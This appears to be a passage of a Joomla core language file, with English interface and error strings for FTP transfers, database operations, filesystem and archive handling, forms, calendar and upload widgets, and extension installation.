JLIB_CLIENT_ERROR_JFTP_READ_BAD_RESPONSE_TRANSFER="JFTP: :read: Transfer Failed. Server response: %1$s [Expected: 226]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_GET_BAD_RESPONSE="JFTP: :get: Bad response" JLIB_CLIENT_ERROR_JFTP_GET_PASSIVE="JFTP: :get: Unable to use passive mode" JLIB_CLIENT_ERROR_JFTP_GET_WRITING_LOCAL="JFTP: :get: Unable to open local file for writing. Local path: %s" JLIB_CLIENT_ERROR_JFTP_GET_BAD_RESPONSE_RETR="JFTP: :get: Bad response. Server response: %1$s [Expected: 150 or 125]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_GET_BAD_RESPONSE_TRANSFER="JFTP: :get: Transfer Failed. Server response: %1$s [Expected: 226]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_STORE_PASSIVE="JFTP: :store: Unable to use passive mode" JLIB_CLIENT_ERROR_JFTP_STORE_BAD_RESPONSE="JFTP: :store: Bad response" JLIB_CLIENT_ERROR_JFTP_STORE_READING_LOCAL="JFTP: :store: Unable to open local file for reading. Local path: %s" JLIB_CLIENT_ERROR_JFTP_STORE_FIND_LOCAL="JFTP: :store: Unable to find local file. Local path: %s" JLIB_CLIENT_ERROR_JFTP_STORE_BAD_RESPONSE_STOR="JFTP: :store: Bad response. Server response: %1$s [Expected: 150 or 125]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_STORE_DATA_PORT="JFTP: :store: Unable to write to data port socket" JLIB_CLIENT_ERROR_JFTP_STORE_BAD_RESPONSE_TRANSFER="JFTP: :store: Transfer Failed. Server response: %1$s [Expected: 226]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_WRITE_PASSIVE="JFTP: :write: Unable to use passive mode" JLIB_CLIENT_ERROR_JFTP_WRITE_BAD_RESPONSE="JFTP: :write: Bad response" JLIB_CLIENT_ERROR_JFTP_WRITE_BAD_RESPONSE_STOR="JFTP: :write: Bad response. Server response: %1$s [Expected: 150 or 125]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_WRITE_DATA_PORT="JFTP: :write: Unable to write to data port socket" JLIB_CLIENT_ERROR_JFTP_WRITE_BAD_RESPONSE_TRANSFER="JFTP: :write: Transfer Failed. Server response: %1$s [Expected: 226]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_LISTNAMES_PASSIVE="JFTP: :listNames: Unable to use passive mode" JLIB_CLIENT_ERROR_JFTP_LISTNAMES_BAD_RESPONSE="JFTP: :listNames: Bad response" JLIB_CLIENT_ERROR_JFTP_LISTNAMES_BAD_RESPONSE_NLST="JFTP: :listNames: Bad response. Server response: %1$s [Expected: 150 or 125]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_LISTNAMES_BAD_RESPONSE_TRANSFER="JFTP: :listNames: Transfer Failed. Server response: %1$s [Expected: 226]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_LISTDETAILS_BAD_RESPONSE="JFTP: :listDetails: Bad response" JLIB_CLIENT_ERROR_JFTP_LISTDETAILS_PASSIVE="JFTP: :listDetails: Unable to use passive mode" JLIB_CLIENT_ERROR_JFTP_LISTDETAILS_BAD_RESPONSE_LIST="JFTP: :listDetails: Bad response. Server response: %1$s [Expected: 150 or 125]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_LISTDETAILS_BAD_RESPONSE_TRANSFER="JFTP: :listDetails: Transfer Failed. Server response: %1$s [Expected: 226]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_LISTDETAILS_UNRECOGNISED="JFTP: :listDetails: Unrecognised directory listing format" JLIB_CLIENT_ERROR_JFTP_PUTCMD_UNCONNECTED="JFTP: :_putCmd: Not connected to the control port" JLIB_CLIENT_ERROR_JFTP_PUTCMD_SEND="JFTP: :_putCmd: Unable to send command: %s" JLIB_CLIENT_ERROR_JFTP_VERIFYRESPONSE="JFTP: :_verifyResponse: Timeout or unrecognised response while waiting for a response from the server. Server response: %s" JLIB_CLIENT_ERROR_JFTP_PASSIVE_CONNECT_PORT="JFTP: :_passive: Not connected to the control port" JLIB_CLIENT_ERROR_JFTP_PASSIVE_RESPONSE="JFTP: :_passive: Timeout or unrecognised response while waiting for a response from the server. Server response: %s" JLIB_CLIENT_ERROR_JFTP_PASSIVE_IP_OBTAIN="JFTP: :_passive: Unable to obtain IP and port for data transfer. Server response: %s" JLIB_CLIENT_ERROR_JFTP_PASSIVE_IP_VALID="JFTP: :_passive: IP and port for data transfer not valid. Server response: %s" JLIB_CLIENT_ERROR_JFTP_PASSIVE_CONNECT="JFTP: :_passive: Could not connect to host %1$s on port %2$s. Socket error number: %3$s and error message: %4$s" JLIB_CLIENT_ERROR_JFTP_MODE_BINARY="JFTP: :_mode: Bad response. Server response: %s [Expected: 200]. Mode sent: Binary" JLIB_CLIENT_ERROR_JFTP_MODE_ASCII="JFTP: :_mode: Bad response. Server response: %s [Expected: 200]. Mode sent: Ascii" JLIB_CLIENT_ERROR_HELPER_SETCREDENTIALSFROMREQUEST_FAILED="Looks like User's credentials are no good..." JLIB_CLIENT_ERROR_LDAP_ADDRESS_NOT_AVAILABLE="Address not available." JLIB_DATABASE_ERROR_ADAPTER_MYSQL="The MySQL adapter 'mysql' is not available." JLIB_DATABASE_ERROR_ADAPTER_MYSQLI="The MySQL adapter 'mysqli' is not available." JLIB_DATABASE_ERROR_ANCESTOR_NODES_LOWER_STATE="Cannot change the published state when the parent item is of a lesser state." JLIB_DATABASE_ERROR_BIND_FAILED_INVALID_SOURCE_ARGUMENT="%s: :bind failed. Invalid source argument." JLIB_DATABASE_ERROR_ARTICLE_UNIQUE_ALIAS="Another article from this category has the same alias" JLIB_DATABASE_ERROR_CATEGORY_UNIQUE_ALIAS="Another category with the same parent category has the same alias" JLIB_DATABASE_ERROR_CHECK_FAILED="%s: :check Failed - %s" JLIB_DATABASE_ERROR_CHECKIN_FAILED="%s: :checkIn failed - %s" JLIB_DATABASE_ERROR_CHECKOUT_FAILED="%s: :checkOut failed - %s" JLIB_DATABASE_ERROR_CHILD_ROWS_CHECKED_OUT="Child rows checked out." JLIB_DATABASE_ERROR_CLASS_DOES_NOT_SUPPORT_ORDERING="%s does not support ordering." JLIB_DATABASE_ERROR_CLASS_IS_MISSING_FIELD="Missing field in the database: %s   %s." JLIB_DATABASE_ERROR_CLASS_NOT_FOUND_IN_FILE="Table class %s not found in file." JLIB_DATABASE_ERROR_CONNECT_DATABASE="Unable to connect to the Database: %s" JLIB_DATABASE_ERROR_CONNECT_MYSQL="Could not connect to MySQL." JLIB_DATABASE_ERROR_DATABASE_CONNECT="Could not connect to database" JLIB_DATABASE_ERROR_DELETE_CATEGORY="Left-Right data inconsistency. Cannot delete category." JLIB_DATABASE_ERROR_DELETE_FAILED="%s: :delete failed - %s" JLIB_DATABASE_ERROR_DELETE_ROOT_CATEGORIES="Root categories cannot be deleted." JLIB_DATABASE_ERROR_EMAIL_INUSE="This email is already registered." JLIB_DATABASE_ERROR_EMPTY_ROW_RETURNED="The database row is empty." JLIB_DATABASE_ERROR_FUNCTION_FAILED="DB function failed with error number %s
      %s" JLIB_DATABASE_ERROR_GET_NEXT_ORDER_FAILED="%s: :getNextOrder failed - %s" JLIB_DATABASE_ERROR_GET_TREE_FAILED="%s: :getTree Failed - %s" JLIB_DATABASE_ERROR_GETNODE_FAILED="%s: :_getNode Failed - %s" JLIB_DATABASE_ERROR_GETROOTID_FAILED="%s: :getRootId Failed - %s" JLIB_DATABASE_ERROR_HIT_FAILED="%s: :hit failed - %s" JLIB_DATABASE_ERROR_INVALID_LOCATION="%s: :setLocation - Invalid location" JLIB_DATABASE_ERROR_INVALID_NODE_RECURSION="%s: :move Failed - Cannot move the node to be a child of itself" JLIB_DATABASE_ERROR_INVALID_PARENT_ID="Invalid parent ID." JLIB_DATABASE_ERROR_LANGUAGE_NO_TITLE="The language should have a title" JLIB_DATABASE_ERROR_LANGUAGE_UNIQUE_IMAGE="A content language already exists with this Image Prefix" JLIB_DATABASE_ERROR_LANGUAGE_UNIQUE_LANG_CODE="A content language already exists with this Language Tag" JLIB_DATABASE_ERROR_LANGUAGE_UNIQUE_SEF="A content language already exists with this URL Language Code" JLIB_DATABASE_ERROR_LOAD_DATABASE_DRIVER="Unable to load Database Driver: %s" JLIB_DATABASE_ERROR_MENUTYPE_EMPTY="Menu type empty" JLIB_DATABASE_ERROR_MENUTYPE_EXISTS="Menu type exists: %s" JLIB_DATABASE_ERROR_MENUTYPE="Some menu items or some menu modules related to this menutype are checked out by another user or the default menu item is in this menu" JLIB_DATABASE_ERROR_MENU_CANNOT_UNSET_DEFAULT="The Language parameter for this menu item must be set to 'All'. At least one Default menu item must have Language set to All, even if the site is multilingual." JLIB_DATABASE_ERROR_MENU_CANNOT_UNSET_DEFAULT_DEFAULT="At least one menu item has to be set as Default." JLIB_DATABASE_ERROR_MENU_UNPUBLISH_DEFAULT_HOME="Cannot unpublish default home" JLIB_DATABASE_ERROR_MENU_DEFAULT_CHECKIN_USER_MISMATCH="The current home menu for this language is checked out" JLIB_DATABASE_ERROR_MENU_UNIQUE_ALIAS="Another menu item with the same parent has this alias" JLIB_DATABASE_ERROR_MENU_UNIQUE_ALIAS_ROOT="Another menu item has the same alias in Root. Root is the top level parent" JLIB_DATABASE_ERROR_MENU_HOME_NOT_COMPONENT="The home menu item must be a component." JLIB_DATABASE_ERROR_MENU_HOME_NOT_UNIQUE_IN_MENU="A menu should contain only one Default home." JLIB_DATABASE_ERROR_MENU_ROOT_ALIAS_COMPONENT="A first level menu item alias cannot be 'component'." JLIB_DATABASE_ERROR_MENU_ROOT_ALIAS_FOLDER="A first level menu item alias cannot be '%s' because '%s' is a sub-folder of your joomla installation folder." JLIB_DATABASE_ERROR_MOVE_FAILED="%s: :move failed - %s" JLIB_DATABASE_ERROR_MUSTCONTAIN_A_TITLE_CATEGORY="Category must have a title" JLIB_DATABASE_ERROR_MUSTCONTAIN_A_TITLE_EXTENSION="Extension must have a title" JLIB_DATABASE_ERROR_MUSTCONTAIN_A_TITLE_MODULE="Module must have a title" JLIB_DATABASE_ERROR_NEGATIVE_NOT_PERMITTED="%s cannot be negative" JLIB_DATABASE_ERROR_NO_ROWS_SELECTED="No rows selected." JLIB_DATABASE_ERROR_NOT_SUPPORTED_FILE_NOT_FOUND="Table %s not supported. File not found." JLIB_DATABASE_ERROR_NULL_PRIMARY_KEY="Null primary key not allowed." JLIB_DATABASE_ERROR_ORDERDOWN_FAILED="%s: :orderDown Failed - %s" JLIB_DATABASE_ERROR_ORDERUP_FAILED="%s: :orderUp Failed - %s" JLIB_DATABASE_ERROR_PLEASE_ENTER_A_USER_NAME="Please enter a user name." JLIB_DATABASE_ERROR_PLEASE_ENTER_YOUR_NAME="Please enter your name." JLIB_DATABASE_ERROR_PUBLISH_FAILED="%s: :publish failed - %s" JLIB_DATABASE_ERROR_REBUILD_FAILED="%s: :rebuild Failed - %s" JLIB_DATABASE_ERROR_REBUILDPATH_FAILED="%s: :rebuildPath Failed - %s" JLIB_DATABASE_ERROR_REORDER_FAILED="%s: :reorder failed - %s" JLIB_DATABASE_ERROR_REORDER_UPDATE_ROW_FAILED="%s: :reorder update the row %s failed - %s" JLIB_DATABASE_ERROR_ROOT_NODE_NOT_FOUND="Root node not found." JLIB_DATABASE_ERROR_STORE_FAILED_UPDATE_ASSET_ID="The asset_id field could not be updated" JLIB_DATABASE_ERROR_STORE_FAILED="%1$s: :store failed
      %2$s" JLIB_DATABASE_ERROR_USERGROUP_TITLE="Usergroup must have a title" JLIB_DATABASE_ERROR_USERGROUP_TITLE_EXISTS="Usergroup title already exists. Title must be unique with the same parent." JLIB_DATABASE_ERROR_USERNAME_CANNOT_CHANGE="Cannot use this user name" JLIB_DATABASE_ERROR_USERNAME_INUSE="User name in use" JLIB_DATABASE_ERROR_VALID_AZ09="Please enter a valid username. No space at beginning or end, at least %d characters and must not contain the following characters: < > \ "_QQ_" ' % ; ( ) &" JLIB_DATABASE_ERROR_VALID_MAIL="Please enter a valid email address." JLIB_DATABASE_ERROR_VIEWLEVEL="Viewlevel must have a title" JLIB_DATABASE_FUNCTION_NOERROR="DB function reports no errors" JLIB_DOCUMENT_ERROR_UNABLE_LOAD_DOC_CLASS="Unable to load document class" JLIB_ENVIRONMENT_SESSION_EXPIRED="Your session has expired. Please log in again." JLIB_ERROR_INFINITE_LOOP="Infinite loop detected in JError" JLIB_EVENT_ERROR_DISPATCHER="JDispatcher: :register: Event handler not recognised. Handler: %s" JLIB_FILESYSTEM_BZIP_NOT_SUPPORTED="BZip2 Not Supported" JLIB_FILESYSTEM_BZIP_UNABLE_TO_READ="Unable to read archive (bz2)" JLIB_FILESYSTEM_BZIP_UNABLE_TO_WRITE="Unable to write archive (bz2)" JLIB_FILESYSTEM_BZIP_UNABLE_TO_WRITE_FILE="Unable to write file (bz2)" JLIB_FILESYSTEM_GZIP_NOT_SUPPORTED="GZlib Not Supported" JLIB_FILESYSTEM_GZIP_UNABLE_TO_READ="Unable to read archive (gz)" JLIB_FILESYSTEM_GZIP_UNABLE_TO_WRITE="Unable to write archive (gz)" JLIB_FILESYSTEM_GZIP_UNABLE_TO_WRITE_FILE="Unable to write file (gz)" JLIB_FILESYSTEM_GZIP_UNABLE_TO_DECOMPRESS="Unable to decompress data" JLIB_FILESYSTEM_TAR_UNABLE_TO_READ="Unable to read archive (tar)" JLIB_FILESYSTEM_TAR_UNABLE_TO_DECOMPRESS="Unable to decompress data" JLIB_FILESYSTEM_TAR_UNABLE_TO_CREATE_DESTINATION="Unable to create destination" JLIB_FILESYSTEM_TAR_UNABLE_TO_WRITE_ENTRY="Unable to write entry" JLIB_FILESYSTEM_ZIP_NOT_SUPPORTED="Zlib Not Supported" JLIB_FILESYSTEM_ZIP_UNABLE_TO_READ="Unable to read archive (zip)" JLIB_FILESYSTEM_ZIP_INFO_FAILED="Get ZIP Information failed" JLIB_FILESYSTEM_ZIP_UNABLE_TO_CREATE_DESTINATION="Unable to create destination" JLIB_FILESYSTEM_ZIP_UNABLE_TO_WRITE_ENTRY="Unable to write entry" JLIB_FILESYSTEM_ZIP_UNABLE_TO_READ_ENTRY="Unable to read entry" JLIB_FILESYSTEM_ZIP_UNABLE_TO_OPEN_ARCHIVE="Unable to open archive" JLIB_FILESYSTEM_ZIP_INVALID_ZIP_DATA="Invalid ZIP data" JLIB_FILESYSTEM_STREAM_FAILED="Failed to register string stream" JLIB_FILESYSTEM_UNKNOWNARCHIVETYPE="Unknown Archive type" JLIB_FILESYSTEM_UNABLE_TO_LOAD_ARCHIVE="Unable to load archive" JLIB_FILESYSTEM_ERROR_JFILE_FIND_COPY="JFile: :copy: Cannot find or read file: $%s" JLIB_FILESYSTEM_ERROR_JFILE_STREAMS="JFile: :copy(%1$s, %2$s): %3$s" JLIB_FILESYSTEM_ERROR_COPY_FAILED="Copy failed" JLIB_FILESYSTEM_DELETE_FAILED="Failed deleting %s" JLIB_FILESYSTEM_CANNOT_FIND_SOURCE_FILE="Cannot find source file" JLIB_FILESYSTEM_ERROR_JFILE_MOVE_STREAMS="JFile: :move: %s" JLIB_FILESYSTEM_ERROR_RENAME_FILE="Rename failed" JLIB_FILESYSTEM_ERROR_READ_UNABLE_TO_OPEN_FILE="JFile: :read: Unable to open file: %s" JLIB_FILESYSTEM_ERROR_WRITE_STREAMS="JFile: :write(%1$s): %2$s" JLIB_FILESYSTEM_ERROR_UPLOAD="JFile: :upload: %s" JLIB_FILESYSTEM_ERROR_WARNFS_ERR01="Warning: Failed to change file permissions!" JLIB_FILESYSTEM_ERROR_WARNFS_ERR02="Warning: Failed to move file!" JLIB_FILESYSTEM_ERROR_FIND_SOURCE_FOLDER="Cannot find source folder" JLIB_FILESYSTEM_ERROR_FOLDER_EXISTS="Folder already exists" JLIB_FILESYSTEM_ERROR_FOLDER_CREATE="Unable to create target folder" JLIB_FILESYSTEM_ERROR_FOLDER_OPEN="Unable to open source folder" JLIB_FILESYSTEM_ERROR_FOLDER_LOOP="Infinite loop detected" JLIB_FILESYSTEM_ERROR_FOLDER_PATH="Path not in open_basedir paths" JLIB_FILESYSTEM_ERROR_COULD_NOT_CREATE_DIRECTORY="Could not create directory" JLIB_FILESYSTEM_ERROR_DELETE_BASE_DIRECTORY="You can not delete a base directory." JLIB_FILESYSTEM_ERROR_PATH_IS_NOT_A_FOLDER="JFolder: :delete: Path is not a folder. Path: %s" JLIB_FILESYSTEM_ERROR_FOLDER_DELETE="JFolder: :delete: Could not delete folder. Path: %s" JLIB_FILESYSTEM_ERROR_FOLDER_RENAME="Rename failed: %s" JLIB_FILESYSTEM_ERROR_PATH_IS_NOT_A_FOLDER_FILES="JFolder: :files: Path is not a folder. Path: %s" JLIB_FILESYSTEM_ERROR_PATH_IS_NOT_A_FOLDER_FOLDER="JFolder: :folder: Path is not a folder. Path: %s" JLIB_FILESYSTEM_ERROR_STREAMS_FILE_SIZE="Failed to get file size. This may not work for all streams!" JLIB_FILESYSTEM_ERROR_STREAMS_FILE_NOT_OPEN="File not open" JLIB_FILESYSTEM_ERROR_STREAMS_FILENAME="Filename not set" JLIB_FILESYSTEM_ERROR_NO_DATA_WRITTEN="Warning: No data written" JLIB_FILESYSTEM_ERROR_STREAMS_FAILED_TO_OPEN_WRITER="Failed to open writer: %s" JLIB_FILESYSTEM_ERROR_STREAMS_FAILED_TO_OPEN_READER="Failed to open reader: %s" JLIB_FILESYSTEM_ERROR_STREAMS_NOT_UPLOADED_FILE="Not an uploaded file!" JLIB_FORM_BUTTON_CLEAR="Clear" JLIB_FORM_BUTTON_SELECT="Select" JLIB_FORM_CHANGE_IMAGE="Change image" JLIB_FORM_CHANGE_IMAGE_BUTTON="Change Image Button" JLIB_FORM_CHANGE_USER="Select User" JLIB_FORM_ERROR_FIELDS_CATEGORY_ERROR_EXTENSION_EMPTY="Extension attribute is empty in the category field" JLIB_FORM_ERROR_FIELDS_GROUPEDLIST_ELEMENT_NAME="Unknown element type: %s" JLIB_FORM_ERROR_NO_DATA="No data" JLIB_FORM_ERROR_VALIDATE_FIELD="Invalid xml field" JLIB_FORM_ERROR_XML_FILE_DID_NOT_LOAD="XML file did not load" JLIB_FORM_INVALID_FORM_OBJECT="Invalid Form Object: :%s" JLIB_FORM_INVALID_FORM_RULE="Invalid Form Rule: :%s" JLIB_FORM_MEDIA_PREVIEW_ALT="Selected image" JLIB_FORM_MEDIA_PREVIEW_EMPTY="No image selected." JLIB_FORM_MEDIA_PREVIEW_SELECTED_IMAGE="Selected image" JLIB_FORM_MEDIA_PREVIEW_TIP_TITLE="Preview" JLIB_FORM_SELECT_USER="Select a User" JLIB_FORM_VALIDATE_FIELD_INVALID="Invalid field: %s" JLIB_FORM_VALIDATE_FIELD_REQUIRED="Field required: %s" JLIB_FORM_VALIDATE_FIELD_RULE_MISSING="Validation Rule missing: %s" JLIB_FORM_VALUE_CACHE_APC="Alternative PHP Cache" JLIB_FORM_VALUE_CACHE_CACHELITE="Cache_Lite" JLIB_FORM_VALUE_CACHE_EACCELERATOR="eAccelerator" JLIB_FORM_VALUE_CACHE_FILE="File" JLIB_FORM_VALUE_CACHE_MEMCACHE="Memcache" JLIB_FORM_VALUE_CACHE_WINCACHE="Windows Cache" JLIB_FORM_VALUE_CACHE_XCACHE="XCache" JLIB_FORM_VALUE_SESSION_APC="Alternative PHP Cache" JLIB_FORM_VALUE_SESSION_DATABASE="Database" JLIB_FORM_VALUE_SESSION_EACCELERATOR="eAccelerator" JLIB_FORM_VALUE_SESSION_MEMCACHE="Memcache" JLIB_FORM_VALUE_SESSION_NONE="None" JLIB_FORM_VALUE_SESSION_WINCACHE="Windows Cache" JLIB_FORM_VALUE_SESSION_XCACHE="XCache" JLIB_FORM_VALUE_TIMEZONE_UTC="Universal Time, Coordinated (UTC)" JLIB_HTML_ACCESS_MODIFY_DESC_CAPTION_ACL="ACL" JLIB_HTML_ACCESS_MODIFY_DESC_CAPTION_TABLE="Table" JLIB_HTML_ACCESS_SUMMARY_DESC_CAPTION="ACL Summary Table" JLIB_HTML_ACCESS_SUMMARY_DESC="Shown below is an overview of the permission settings for this article. Click the tabs above to customise these settings by action." JLIB_HTML_ACCESS_SUMMARY="Summary" JLIB_HTML_ADD_TO_ROOT="Add to root" JLIB_HTML_ADD_TO_THIS_MENU="Add to this menu" JLIB_HTML_BATCH_ACCESS_LABEL="Set Access Level" JLIB_HTML_BATCH_ACCESS_LABEL_DESC="Not making a selection will keep the original access levels when processing." JLIB_HTML_BATCH_COPY="Copy" JLIB_HTML_BATCH_LANGUAGE_LABEL="Set Language" JLIB_HTML_BATCH_LANGUAGE_LABEL_DESC="Not making a selection will keep the original language when processing." JLIB_HTML_BATCH_LANGUAGE_NOCHANGE="- Keep original Language -" JLIB_HTML_BATCH_MENU_LABEL="Select Category for Move/Copy" JLIB_HTML_BATCH_MOVE="Move" JLIB_HTML_BATCH_NOCHANGE="- Keep original Access Levels -" JLIB_HTML_BATCH_USER_LABEL="Set User" JLIB_HTML_BATCH_USER_LABEL_DESC="Not making a selection will keep the original user when processing." JLIB_HTML_BATCH_USER_NOCHANGE="- Keep original User -" JLIB_HTML_BATCH_USER_NOUSER="No User" JLIB_HTML_BEHAVIOR_ABOUT_THE_CALENDAR="About the Calendar" JLIB_HTML_BEHAVIOR_CLOSE="Close" JLIB_HTML_BEHAVIOR_DATE_SELECTION="Date selection:\n" JLIB_HTML_BEHAVIOR_DISPLAY_S_FIRST="Display %s first" JLIB_HTML_BEHAVIOR_DRAG_TO_MOVE="Drag to move" JLIB_HTML_BEHAVIOR_GO_TODAY="Go to today" JLIB_HTML_BEHAVIOR_GREEN="Green" JLIB_HTML_BEHAVIOR_HOLD_MOUSE="- Hold mouse button on any of the above buttons for faster selection." JLIB_HTML_BEHAVIOR_MONTH_SELECT="- Use the < and > buttons to select month\n" JLIB_HTML_BEHAVIOR_NEXT_MONTH_HOLD_FOR_MENU="Click to move to the next month. Click and hold for a list of the months." JLIB_HTML_BEHAVIOR_NEXT_YEAR_HOLD_FOR_MENU="Click to move to the next year. Click and hold for a list of years." JLIB_HTML_BEHAVIOR_PREV_MONTH_HOLD_FOR_MENU="Click to move to the previous month. Click and hold for a list of the months." JLIB_HTML_BEHAVIOR_PREV_YEAR_HOLD_FOR_MENU="Click to move to the previous year. Click and hold for a list of years." JLIB_HTML_BEHAVIOR_SELECT_DATE="Select a date." JLIB_HTML_BEHAVIOR_SHIFT_CLICK_OR_DRAG_TO_CHANGE_VALUE="(Shift-)Click or Drag to change the value." JLIB_HTML_BEHAVIOR_TIME="Time:" JLIB_HTML_BEHAVIOR_TODAY="Today" JLIB_HTML_BEHAVIOR_TT_DATE_FORMAT="%a, %b %e" JLIB_HTML_BEHAVIOR_WK="wk" JLIB_HTML_BEHAVIOR_YEAR_SELECT="- Use the « and » buttons to select year\n" JLIB_HTML_BEHAVIOR_UPLOADER_ERROR_HTTPSTATUS="Invalid Server Response" JLIB_HTML_BEHAVIOR_UPLOADER_ERROR_IOERROR="Transfer Error" JLIB_HTML_BEHAVIOR_UPLOADER_ERROR_SECURITYERROR="Security Error" JLIB_HTML_BEHAVIOR_UPLOADER_UPLOAD_COMPLETED="Upload Completed." JLIB_HTML_BEHAVIOR_UPLOADER_FILE_SUCCESSFULLY_UPLOADED="File Successfully Uploaded." JLIB_HTML_BEHAVIOR_UPLOADER_ERROR_OCCURRED="An Error Occurred: {error}" JLIB_HTML_BEHAVIOR_UPLOADER_ALL_FILES="All Files (*.*)" JLIB_HTML_BEHAVIOR_UPLOADER_PROGRESS_OVERALL="Overall Progress {total}" JLIB_HTML_BEHAVIOR_UPLOADER_CURRENT_TITLE="Upload Files" JLIB_HTML_BEHAVIOR_UPLOADER_REMOVE="Remove" JLIB_HTML_BEHAVIOR_UPLOADER_REMOVE_TITLE="Remove Title" JLIB_HTML_BEHAVIOR_UPLOADER_FILENAME="{name}" JLIB_HTML_BEHAVIOR_UPLOADER_CURRENT_FILE="Current File: {name}" JLIB_HTML_BEHAVIOR_UPLOADER_CURRENT_PROGRESS="Current Progress" JLIB_HTML_BEHAVIOR_UPLOADER_FILE_ERROR="File Error" JLIB_HTML_BEHAVIOR_UPLOADER_VALIDATION_ERROR_DUPLICATE="File Already Exists" JLIB_HTML_BEHAVIOR_UPLOADER_VALIDATION_ERROR_FILELISTMAX="Too Many Files" JLIB_HTML_BEHAVIOR_UPLOADER_VALIDATION_ERROR_FILELISTSIZEMAX="Total Upload Size Too Large" JLIB_HTML_BEHAVIOR_UPLOADER_VALIDATION_ERROR_SIZELIMITMAX="File is Too Big" JLIB_HTML_BEHAVIOR_UPLOADER_VALIDATION_ERROR_SIZELIMITMIN="File is Too Small" JLIB_HTML_BUTTON_BASE_CLASS="Could not load button base class." JLIB_HTML_BUTTON_NO_LOAD="Could not load button %s (%s);" JLIB_HTML_BUTTON_NOT_DEFINED="Button not defined for type = %s" JLIB_HTML_CALENDAR="Calendar" JLIB_HTML_CHECKED_OUT="Checked out" JLIB_HTML_CHECKIN="Checkin" JLIB_HTML_CLOAKING="This email address is being protected from spambots. You need JavaScript enabled to view it." JLIB_HTML_DATE_RELATIVE_DAYS="%s days ago" JLIB_HTML_DATE_RELATIVE_DAYS_1="%s day ago" JLIB_HTML_DATE_RELATIVE_DAYS_0="%s days ago" JLIB_HTML_DATE_RELATIVE_HOURS="%s hours ago" JLIB_HTML_DATE_RELATIVE_HOURS_1="%s hour ago" JLIB_HTML_DATE_RELATIVE_HOURS_0="%s hours ago" JLIB_HTML_DATE_RELATIVE_LESSTHANAMINUTE="Less than a minute ago" JLIB_HTML_DATE_RELATIVE_MINUTES="%s minutes ago" JLIB_HTML_DATE_RELATIVE_MINUTES_1="%s minute ago" JLIB_HTML_DATE_RELATIVE_MINUTES_0="%s minutes ago" JLIB_HTML_DATE_RELATIVE_WEEKS="%s weeks ago" JLIB_HTML_DATE_RELATIVE_WEEKS_1="%s week ago" JLIB_HTML_DATE_RELATIVE_WEEKS_0="%s weeks ago" JLIB_HTML_EDITOR_CANNOT_LOAD="Cannot load the editor" JLIB_HTML_END="End" JLIB_HTML_ERROR_FUNCTION_NOT_SUPPORTED="Function not supported." JLIB_HTML_ERROR_NOTFOUNDINFILE="%s: :%s not found in file." JLIB_HTML_ERROR_NOTSUPPORTED_NOFILE="%s: :%s not supported. File not found." JLIB_HTML_ERROR_NOTSUPPORTED="%s: :%s not supported." JLIB_HTML_MOVE_DOWN="Move Down" JLIB_HTML_MOVE_UP="Move Up" JLIB_HTML_NO_PARAMETERS_FOR_THIS_ITEM="There are no parameters for this item" JLIB_HTML_NO_RECORDS_FOUND="No record found" JLIB_HTML_PAGE_CURRENT_OF_TOTAL="Page %s of %s" JLIB_HTML_PLEASE_MAKE_A_SELECTION_FROM_THE_LIST="Please first make a selection from the list" JLIB_HTML_PUBLISH_ITEM="Publish Item" JLIB_HTML_PUBLISHED_EXPIRED_ITEM="Published, but has Expired" JLIB_HTML_PUBLISHED_FINISHED="Finish: %s" JLIB_HTML_PUBLISHED_ITEM="Published and is Current" JLIB_HTML_PUBLISHED_PENDING_ITEM="Published, but is Pending" JLIB_HTML_PUBLISHED_START="Start: %s" JLIB_HTML_RESULTS_OF="Results %s - %s of %s" JLIB_HTML_SAVE_ORDER="Save Order" JLIB_HTML_SELECT_STATE="Select State" JLIB_HTML_START="Start" JLIB_HTML_UNPUBLISH_ITEM="Unpublish Item" JLIB_HTML_VIEW_ALL="View All" JLIB_HTML_SETDEFAULT_ITEM="Set default" JLIB_HTML_UNSETDEFAULT_ITEM="Unset default" JLIB_INSTALLER_ABORT="Aborting language installation: %s" JLIB_INSTALLER_ABORT_ALREADYINSTALLED="Extension is already installed" JLIB_INSTALLER_ABORT_COMP_BUILDADMINMENUS_FAILED="Error building Admin Menus" JLIB_INSTALLER_ABORT_COMP_INSTALL_COPY_SETUP="Component Install: Could not copy setup file." JLIB_INSTALLER_ABORT_COMP_INSTALL_CUSTOM_INSTALL_FAILURE="Component Install: Custom install routine failure" JLIB_INSTALLER_ABORT_COMP_INSTALL_MANIFEST="Component Install: Could not copy PHP manifest file." JLIB_INSTALLER_ABORT_COMP_INSTALL_PHP_INSTALL="Component Install: Could not copy PHP install file." JLIB_INSTALLER_ABORT_COMP_INSTALL_PHP_UNINSTALL="Component Install: Could not copy PHP uninstall file." JLIB_INSTALLER_ABORT_COMP_INSTALL_ROLLBACK="Component Install: %s" JLIB_INSTALLER_ABORT_COMP_INSTALL_SQL_ERROR="Component Install: SQL error file %s" JLIB_INSTALLER_ABORT_COMP_UPDATE_ADMIN_ELEMENT="Component Update: The XML file did not contain an administration element" JLIB_INSTALLER_ABORT_COMP_UPDATE_COPY_SETUP="Component Update: Could not copy setup file." JLIB_INSTALLER_ABORT_COMP_UPDATE_MANIFEST="Component Update: Could not copy PHP manifest file." JLIB_INSTALLER_ABORT_COMP_UPDATE_PHP_INSTALL="Component Update: Could not copy PHP install file." JLIB_INSTALLER_ABORT_COMP_UPDATE_PHP_UNINSTALL="Component Update: Could not copy PHP uninstall file." JLIB_INSTALLER_ABORT_COMP_UPDATE_ROLLBACK="Component Update: %s" JLIB_INSTALLER_ABORT_COMP_UPDATE_SQL_ERROR="Component Update: SQL error file %s" JLIB_INSTALLER_ABORT_DEBUG="Installation unexpectedly terminated:" JLIB_INSTALLER_ABORT_DETECTMANIFEST="Unable to detect manifest file" JLIB_INSTALLER_ABORT_EXTENSIONNOTVALID="Extension is not valid" JLIB_INSTALLER_ABORT_FILE_INSTALL_COPY_SETUP="Files Install: Could not copy setup file." JLIB_INSTALLER_ABORT_FILE_INSTALL_CUSTOM_INSTALL_FAILURE="Files Install: Custom install routine failure" 